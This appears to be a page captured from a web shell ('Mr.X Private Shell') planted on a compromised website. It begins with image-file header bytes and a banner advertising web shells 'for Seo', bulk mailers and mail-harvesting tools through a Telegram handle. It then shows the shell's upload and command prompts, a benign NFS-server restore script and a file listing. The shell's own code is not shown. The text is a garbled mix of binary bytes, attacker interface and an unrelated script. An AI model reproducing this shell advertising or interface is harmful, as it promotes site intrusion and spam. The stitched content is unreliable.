����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
# 300_start_nfs_server.sh

# same options works for mountd
local nfsd_opts=(--no-udp --no-nfs-version 3 -V 4.2)
local cpu_cores
cpu_cores=$(nproc) || Error "Could not determine CPU details via nproc"
# 4 threads per cpu core
local nfs_threads=$(( $cpu_cores * 4 ))
# 8 are the standard and should be the minimum
if (( nfs_threads < 8 )); then nfs_threads=8; fi

# clear /etc/exports if the user rerun the restore with other options
> /etc/exports

# add all mountpoints to /etc/exports
while read mountpoint junk ; do
    local options=("${NFS4SERVER_EXPORT_OPTS[@]}")
    if [[ $mountpoint == "/" ]]; then
        options+=("fsid=0")
    else
        options+=(nohide)
    fi
    local nfs_options=$(IFS=',' ; echo "${options[*]}")
    local nfs_trust_options=""
    for trust in "${NFS4SERVER_TRUSTED_CLIENTS[@]}"; do
        nfs_trust_options+="$trust($nfs_options) "
    done

    echo "${TARGET_FS_ROOT}${mountpoint} $nfs_trust_options" >> /etc/exports
done < "${VAR_DIR}/recovery/mountpoint_device"
Debug "$(cat /etc/exports)"

exportfs $v -ra || Error "exportfs failed!"

rpc.nfsd --debug "$nfs_threads" "${nfsd_opts[@]}" || Error "rpc.nfsd failed!"
Debug "nfsd started with $nfs_threads threads."

if [ -z "$(pidof rpc.mountd)" ]; then
    rpc.mountd --debug all "${nfsd_opts[@]}" || Error "rpc.mountd failed!"
fi

LogPrint "NFS-Server started successfully."

Filemanager

Name Type Size Permission Actions
300_start_nfs_server.sh File 1.33 KB 0644
400_restore_with_nfs_server.sh File 1.55 KB 0644
500_stop_nfs_server.sh File 73 B 0644